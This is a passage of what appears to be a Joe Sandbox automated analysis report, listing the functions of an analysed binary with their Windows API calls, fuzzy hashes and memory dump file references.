Instruction ID: d9c1c20ddcd2ad61581966099c0e6e3607e0c884c03871a624d90157a6284ea6
Opcode Fuzzy Hash: e5598fa738ae25870cdd8ecbedbddb79db48f7d080ce203b7ab99da4de626ad4
Instruction Fuzzy Hash: E4D1717090154ADBDB01CFA8C848BAEFBB9FF45314F158259E415EB2A2EB709D45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0036948C Relevance: 3.2, APIs: 2, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 00368FBC: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00368FE7

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,003692D3,?,00000000,?,?,?), ref: 003694ED
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,003692D3,?,00000000,?,?,?), ref: 0036952F

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 26ddc8ef8498d3296ca46b4edb1eba7ed241ddf67785dcf54930f6fdeef9e713
Instruction ID: ccd45a50ef02a4b49af2e230207ae14ae5494653385c0b87497f4e10c6c4a788
Opcode Fuzzy Hash: 26ddc8ef8498d3296ca46b4edb1eba7ed241ddf67785dcf54930f6fdeef9e713
Instruction Fuzzy Hash: 0D510170A003449EDB23CF35C884BAABBEDEF86310F19856FD1968B256E6749946CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A565920 Relevance: 3.1, APIs: 2, Instructions: 93COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001C,00000000,AA831995,00000000,AA831995,6A59E7BE,000000FF), ref: 6A565970

Part of subcall function 6A547E10: GetProcessHeap.KERNEL32 ref: 6A547E6C

FreeLibrary.KERNEL32(00000000,?,80004005), ref: 6A565A2B

Part of subcall function 6A549220: FindResourceW.KERNEL32(00000000,?,00000006,?,?,?,6A5659A5,-00000010), ref: 6A549258

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: FindFolderFreeHeapLibraryPathProcessResourceSpecial
String ID:
API String ID: 584424649-0
Opcode ID: b8402efb4a35ea34453789ef52d16a9cda875c26ce446fe9cefeb52929c8800d
Instruction ID: 990354e8bcc9c8a758b4432eba7922a65302b4d862856d595d08764cb812f4eb
Opcode Fuzzy Hash: b8402efb4a35ea34453789ef52d16a9cda875c26ce446fe9cefeb52929c8800d
Instruction Fuzzy Hash: 4231C0B06402099FDB24DF68C808BAEB7F8FF04314F11451EE91ADB682DF70AA04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6A561090 Relevance: 3.1, APIs: 2, Instructions: 77networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 6A561139
InternetSetOptionW.WININET(?,00000006,000000FF,00000004), ref: 6A561167

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: Internet$OpenOption
String ID:
API String ID: 942729171-0
Opcode ID: a0437eb31bddcd041ad128f4d901245112bfe930539ed62279417398fa2c3942
Instruction ID: ed9c25b02c3fa865293cd6ff69d1c19621fcc8dd6c4652dbeb3d61ca02c2370b
Opcode Fuzzy Hash: a0437eb31bddcd041ad128f4d901245112bfe930539ed62279417398fa2c3942
Instruction Fuzzy Hash: 72315CB090064AEFDB00CF59C946B9AFBF4FB04314F10825DE519AB780C7B5AA54CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0036371B Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

LCMapStringEx.KERNEL32(?,00362E29,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0036374F
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00362E29,?,?,00000000,?,00000000), ref: 0036376D

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 664d5569f1938763d68ff763ff974bd262b670c9d735656e2e50417fac842946
Instruction ID: cb313622a9150748da6f03b48cf862584fe04f6b1efab6108d5a8efc7f196798
Opcode Fuzzy Hash: 664d5569f1938763d68ff763ff974bd262b670c9d735656e2e50417fac842946
Instruction Fuzzy Hash: 28F0687240011ABBCF136FA0EC09DDE3F6AAF483A1F058110FA1965020CA32DA31AB91

Uniqueness

Uniqueness Score: -1.00%

Function 003616FD Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,0036A60F,?,00000000,?,?,0036A8B0,?,00000007,?,?,0036AD02,?,?), ref: 00361713
GetLastError.KERNEL32(?,?,0036A60F,?,00000000,?,?,0036A8B0,?,00000007,?,?,0036AD02,?,?), ref: 0036171E

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 27e49c7da156b32dba7ab22cec076ab2ed08b5c23ba90ab069b059698b766843
Instruction ID: 4d9aeed74ca841b9935932e4cdb371f97074d3f49f3cb7f7eec529c697abf9ef
Opcode Fuzzy Hash: 27e49c7da156b32dba7ab22cec076ab2ed08b5c23ba90ab069b059698b766843
Instruction Fuzzy Hash: F9E08C32500214EBCB133FB4EC0DB897BA9BB00791F058020F60CDE461EA34E850C794

Uniqueness

Uniqueness Score: -1.00%

Function 002C94E0 Relevance: 1.9, APIs: 1, Instructions: 414COMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

_wcschr.LIBVCRUNTIME ref: 002C960B

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess_wcschr
String ID:
API String ID: 978982089-0
Opcode ID: 9c12430f094ef340ebdd8efaac4bbfad485036e54b6f61ae073488355b4c0c8e
Instruction ID: 0cbcb3b4df9aab18504433da7a5933f6a9df8e356afa7183cc211ffcf5d6c65c
Opcode Fuzzy Hash: 9c12430f094ef340ebdd8efaac4bbfad485036e54b6f61ae073488355b4c0c8e
Instruction Fuzzy Hash: 47F19B71A106068FDB00CFA8C888FAEF7B5FF56314F14835DE511AB2A1DB74A995CB90

Uniqueness

Uniqueness Score: -1.00%

Function 002DA670 Relevance: 1.7, APIs: 1, Instructions: 214fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,00000000,00000000,?,00000000,80004005,?,?,?,DF534560), ref: 002DA69B

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: ff5a6acba23b6f9e2726db336ca1a0d26d4702f736b1e5cace2ca5b426464c3c
Instruction ID: d421f159a9caed4800514c510a2835063f7930a0b85ae0943157598011108e59
Opcode Fuzzy Hash: ff5a6acba23b6f9e2726db336ca1a0d26d4702f736b1e5cace2ca5b426464c3c
Instruction Fuzzy Hash: 2351E172A00615DFDB11CF58C881F9EFBB8FB04710F14826AE914EB781D775AC108BA1

Uniqueness

Uniqueness Score: -1.00%

Function 002DB970 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

EnumResourceLanguagesW.KERNEL32(?,00000010,00000001,002DBB50,?), ref: 002DB9BB

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: EnumLanguagesResource
String ID:
API String ID: 4141015960-0
Opcode ID: aa0b0af31654d4ad329b0bbfa6ec6522077a5ed8d97601cdd1975ce731c883fa
Instruction ID: f1887a5f1eb635d5f8e420b41f184cceda3a84ae715084614cd55cb9a755fbd5
Opcode Fuzzy Hash: aa0b0af31654d4ad329b0bbfa6ec6522077a5ed8d97601cdd1975ce731c883fa
Instruction Fuzzy Hash: 7C519F71A1020ADBDB11CF98C891BAEB7F4FF58304F11066AE855AB381DB71ED14CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 002F5500 Relevance: 1.7, APIs: 1, Instructions: 177synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,DF534560,00000000,?,?,00000001), ref: 002F5534

Part of subcall function 001C7340: RaiseException.KERNEL32(DF534560,DF534560,00000000,00000000,002F56DB,C000008C,00000001,DF534560), ref: 001C734C

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ExceptionObjectRaiseSingleWait
String ID:
API String ID: 2077088295-0
Opcode ID: 44d6d4fac9c0711f6562cee90a55a51de88d3e811dfcccd6e54effb7a3dcc346
Instruction ID: c4fe88bbe255a41fe75d939be637b349752a37eeb947c6eeb3db7993fa617d16
Opcode Fuzzy Hash: 44d6d4fac9c0711f6562cee90a55a51de88d3e811dfcccd6e54effb7a3dcc346
Instruction Fuzzy Hash: 6D517F35A10A1A9FCB04DF68C884A6AF7B5FF49350F554169EA25DB3A1DB30ED20CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00369090 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(E8458D00,?,003692DF,003692D3,00000000), ref: 003690C2

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 1cc624085e2eb6d1fa09b23346882cb611e1acad4acabf4cf51e02d5bb76bf47
Instruction ID: 470fecbb711a046aa97df1e654c51e6061d63f55116dbf0ef4945f83f40227d3
Opcode Fuzzy Hash: 1cc624085e2eb6d1fa09b23346882cb611e1acad4acabf4cf51e02d5bb76bf47
Instruction Fuzzy Hash: BC516B7150424C9ADB238F28CC84FE67BBCEB57304F3485EAD59AC7186C2349D46CB20

Uniqueness

Uniqueness Score: -1.00%

Function 002BAD20 Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 002BAF90: __Init_thread_footer.LIBCMT ref: 002BB006

Part of subcall function 00349842: EnterCriticalSection.KERNEL32(00459EA0,-00000010,?,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?), ref: 0034984D
Part of subcall function 00349842: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?,?,00000008), ref: 0034988A

__Init_thread_footer.LIBCMT ref: 002BAE00

Part of subcall function 003497F8: EnterCriticalSection.KERNEL32(00459EA0,?,?,001B9F37,0045AAD4,003CA720), ref: 00349802
Part of subcall function 003497F8: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9F37,0045AAD4,003CA720), ref: 00349835
Part of subcall function 003497F8: RtlWakeAllConditionVariable.NTDLL ref: 003498AC

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave$ConditionVariableWake
String ID:
API String ID: 984842325-0
Opcode ID: c18938fb7797e046d2738bbb1b2d0d7e0b9a663c3962d018412d48105456368c
Instruction ID: f7b734824bb4bf1b4356bd6ecaa945df190ac1646ca4fe16a374e1660dd270c6
Opcode Fuzzy Hash: c18938fb7797e046d2738bbb1b2d0d7e0b9a663c3962d018412d48105456368c
Instruction Fuzzy Hash: 8C31A0B1914744AFE720EF14EC82B99B3E8FB04766F240239E8114B7D2D7B5E914CB89

Uniqueness

Uniqueness Score: -1.00%

Function 002F4360 Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00000000,002D9708,?,00000000,00000000,?,?), ref: 002F437D

Part of subcall function 001B9AE0: RtlAllocateHeap.NTDLL(?,00000000,?,DF534560,00000000,00371390,000000FF,?,?,0044E7AC,?,001BCB99,80004005,DF534560,-00000010,?), ref: 001B9B2A

Part of subcall function 002F4450: WaitForSingleObject.KERNEL32(?,000000FF,DF534560,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 002F4484

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AllocateCreateFileHeapObjectSingleWait
String ID:
API String ID: 1261966429-0
Opcode ID: 98a0f09d368c33f353793959477e4a83c9dc02b193eba3aa5dfdb215fc590130
Instruction ID: d11a01347618eafee299c83d1044f9b7ca0f894d15b2b91da973224544aac78c
Opcode Fuzzy Hash: 98a0f09d368c33f353793959477e4a83c9dc02b193eba3aa5dfdb215fc590130
Instruction Fuzzy Hash: 3D31F434214B119FD324DF28D888B2BF7E0FF88704F20896DE69AA7360D771A951CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0029C8C0 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 00349842: EnterCriticalSection.KERNEL32(00459EA0,-00000010,?,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?), ref: 0034984D
Part of subcall function 00349842: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?,?,00000008), ref: 0034988A

__Init_thread_footer.LIBCMT ref: 0029C932

Part of subcall function 003497F8: EnterCriticalSection.KERNEL32(00459EA0,?,?,001B9F37,0045AAD4,003CA720), ref: 00349802
Part of subcall function 003497F8: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9F37,0045AAD4,003CA720), ref: 00349835
Part of subcall function 003497F8: RtlWakeAllConditionVariable.NTDLL ref: 003498AC

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID:
API String ID: 2296764815-0
Opcode ID: d214c810def3f9ada650be286f7d7a981ea6c6935d97e2d90613986c70abf71b
Instruction ID: 6c408d8e3c92af64fdacea56de79aaa13806cfb64fd85e8400b8c12998689aae
Opcode Fuzzy Hash: d214c810def3f9ada650be286f7d7a981ea6c6935d97e2d90613986c70abf71b
Instruction Fuzzy Hash: 9801D8B1904704DBCB11CF68D842B59B3E4E708721F50427AFC16977D1D735A900CA45

Uniqueness

Uniqueness Score: -1.00%

Function 002BAF90 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00349842: EnterCriticalSection.KERNEL32(00459EA0,-00000010,?,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?), ref: 0034984D
Part of subcall function 00349842: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?,?,00000008), ref: 0034988A

Part of subcall function 002BB030: RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00020119,00000000), ref: 002BB09E
Part of subcall function 002BB030: RegQueryValueExW.KERNEL32(00000000,CurrentMajorVersionNumber,00000000,00000000,?,?), ref: 002BB0E5
Part of subcall function 002BB030: RegQueryValueExW.KERNEL32(00000000,CurrentMinorVersionNumber,00000000,00000000,?,00000004), ref: 002BB104
Part of subcall function 002BB030: RegQueryValueExW.KERNEL32(00000000,CurrentBuildNumber,00000000,00000000,?,?), ref: 002BB1A8

__Init_thread_footer.LIBCMT ref: 002BB006

Part of subcall function 003497F8: EnterCriticalSection.KERNEL32(00459EA0,?,?,001B9F37,0045AAD4,003CA720), ref: 00349802
Part of subcall function 003497F8: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9F37,0045AAD4,003CA720), ref: 00349835
Part of subcall function 003497F8: RtlWakeAllConditionVariable.NTDLL ref: 003498AC

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$QueryValue$EnterLeave$ConditionInit_thread_footerOpenVariableWake
String ID:
API String ID: 228406220-0
Opcode ID: 83ec2495856d532062929d7860f5b56285fcab5d2846a1428bf773e6be173e2e
Instruction ID: 07f82f0075070265670e0832728bf6ca53f394091e7dd249d08d9462b4a4f5c3
Opcode Fuzzy Hash: 83ec2495856d532062929d7860f5b56285fcab5d2846a1428bf773e6be173e2e
Instruction Fuzzy Hash: 03012671A44608EBC311EF58CD42B9A77E4E748B21F10433AF8319B7C2D779A9008B85

Uniqueness

Uniqueness Score: -1.00%

Function 001B9AE0 Relevance: 1.5, APIs: 1, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0034B0DB: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,-00000010,?,00000008,DF534560), ref: 0034B13B

RtlAllocateHeap.NTDLL(?,00000000,?,DF534560,00000000,00371390,000000FF,?,?,0044E7AC,?,001BCB99,80004005,DF534560,-00000010,?), ref: 001B9B2A

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AllocateExceptionHeapRaise
String ID:
API String ID: 3789339297-0
Opcode ID: a5f505b0dee8916fa22f8ce53a4c8e9610ecda0317835584aa9c897b08226a6a
Instruction ID: 9285d89eb2766e28884adddb511918e4c669f284d5e1705486e352786a25cc53
Opcode Fuzzy Hash: a5f505b0dee8916fa22f8ce53a4c8e9610ecda0317835584aa9c897b08226a6a
Instruction Fuzzy Hash: 1FF08235644248BBC701CF54DC01F5ABBA8FB08B50F108529F91996A90D735A9109B44

Uniqueness

Uniqueness Score: -1.00%

Function 00361737 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00369290,?,?,00369290,00000220,?,?,?), ref: 00361769

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
